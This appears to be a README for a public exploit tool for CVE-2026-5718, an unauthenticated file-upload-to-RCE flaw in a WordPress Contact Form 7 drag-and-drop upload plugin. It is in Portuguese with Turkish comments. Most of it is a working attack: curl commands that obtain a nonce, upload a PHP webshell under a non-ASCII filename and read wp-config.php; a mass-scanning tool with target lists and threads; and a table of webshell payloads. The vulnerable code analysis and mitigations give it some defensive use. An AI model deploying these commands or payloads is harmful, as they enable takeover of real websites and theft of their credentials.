
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
CVE-2026-5718: Upload de Arquivo Não Autenticado para RCE no Plugin DnD Upload CF7
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 Pontuação CVSS: 8.1 (Alta) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código Versões Afetadas: <= 1.3.9.6 Versão Corrigida: 1.3.9.7 Data de Publicação: 17 de abril de 2026 Pesquisador: Leonid Semenko (lsemenenko) — Wordfence
No plugin Drag and Drop Multiple File Upload for Contact Form 7, dois erros lógicos independentes se combinam para permitir que atacantes não autenticados carreguem um webshell PHP.
Quebra da Blacklist: A configuração personalizada de blacklist
substitui completamente a lista padrão de extensões perigosas
em vez de combiná-la.
php não é mais bloqueado.
Bypass Non-ASCII: A presença de caracteres não ASCII no nome do arquivo
impede a chamada da função wpcf7_antiscript_file_name().
A extensão .php é preservada e o arquivo é gravado no disco.
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
A action wp_ajax_nopriv__wpcf7_check_nonce é pública.
Quando um nonce inválido é enviado, um novo nonce é fornecido gratuitamente.
A verificação de curl é contornada usando um User-Agent Mozilla.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
Configuração da tag de formulário que aciona a vulnerabilidade:
[mfile upload-file filetypes="*" blacklist-types:zip]
O administrador quer bloquear ZIP → o plugin apaga toda a denylist padrão.
Todas as extensões perigosas, incluindo php, agora são aceitas.
Além disso, a lista hardcoded para filetypes="*" também está incompleta:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de pesquisa defensiva em segurança. Use somente em sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar.
Pré-requisitos:
[mfile] com blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Resposta esperada:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Resposta esperada:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
O scanner tenta os seguintes caracteres em sequência:
WordPress Kök/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell burada
⚠️ Nota: Por padrão, o plugin limpa os arquivos após 1 hora. O shell permanece acessível durante esse período.
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[→] http://hedef.com Adım 1/5: Nonce alınıyor...
[→] http://hedef.com Adım 2/5: CF7 form tespiti...
[→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
[→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor...
[→] http://hedef.com Adım 5/5: RCE doğrulanıyor...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Sürüm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Kaydedildi → rce_results.txt
Mesclagem segura da blacklist:
// Güvensiz (mevcut — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Güvenli (önerilen — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Antiscript incondicional:
// Güvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Güvenli (önerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır
.htaccess do diretório de uploads:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Esta ferramenta e este PoC foram preparados para uso exclusivo em sistemas autorizados, para fins educacionais e no âmbito de testes de penetração. O uso em sistemas sem autorização constitui crime nos termos dos artigos 243-245 do Código Penal Turco e das leis internacionais de crimes cibernéticos. O desenvolvedor não aceita nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.
Licença MIT — Apenas para fins educacionais e de pesquisa.
| Campo | Valor |
|---|
| Nome do Plugin | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| Pontuação CVSS | 8.1 (Alta) |
| Tipo de Vulnerabilidade | Upload Arbitrário de Arquivo Não Autenticado |
| Versão Afetada | <= 1.3.9.6 |
| Versão Corrigida | 1.3.9.7 |
| Pré-requisito | Configuração personalizada blacklist-types no formulário CF7 |
| Parâmetro | Curto | Descrição | Padrão |
|---|
--url | -u | URL do alvo único | — |
--list | -l | Arquivo com lista de alvos | — |
--threads | -t | Número de threads | 10 |
--output | -o | Arquivo de saída | rce_results.txt |
--form-id | — | ID do formulário CF7 | detecção automática |
--field-name | — | Nome do campo mfile | upload-file |
--shell-name | — | Nome do arquivo do shell | shell |
--shell-type | — | Tipo do shell | system |
--verify-cmd | — | Comando de verificação do RCE | id |
--proxy | — | URL do proxy | — |
--timeout | — | Timeout da requisição (s) | 10 |
--force | — | Continuar mesmo se a detecção do plugin falhar | False |
| Tipo | Payload | Descrição |
|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico do sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Saída bruta |
exec | <?php echo exec($_GET["cmd"]); ?> | Execução silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscação Base64 |
full | shell_exec + system + exec fallback | Abrangente |
| Caractere | Unicode | Descrição |
|---|
シ | U+30B7 | Katakana Si (usado no PoC) |
ж | U+0436 | Cirílico |
ñ | U+00F1 | Latino Estendido |
中 | U+4E2D | CJK |
α | U+03B1 | Grego |
ß | U+00DF | Alemão |
| Status | Descrição |
|---|
★ RCE OK | Shell enviado + comando executado |
★ SHELL ALIVE | Shell acessível, resposta diferente |
~ EXEC_DISABLED | Shell existe, exec() desabilitado |
~ HTACCESS | Shell enviado, mas bloqueado por .htaccess |
? UPLOADED | Enviado, mas URL não encontrada |
- UPL_FAIL | Upload falhou (corrigido/sem configuração) |
~ NO_NONCE | Nonce não pôde ser obtido |
- NO_PLUGIN | Plugin não instalado |
~ UNREACH | Alvo inacessível |
| Medida | Implementação |
|---|
| Atualização do Plugin | Atualizar para a versão 1.3.9.7+ |
| Mesclagem da Blacklist | Usar array_merge() em vez de = |
| Antiscript Incondicional | wpcf7_antiscript_file_name() deve ser sempre chamado |
| Proteção do Nonce | O endpoint do nonce deve ser fechado para acesso público |
| .htaccess | Bloquear execução de PHP no diretório de uploads |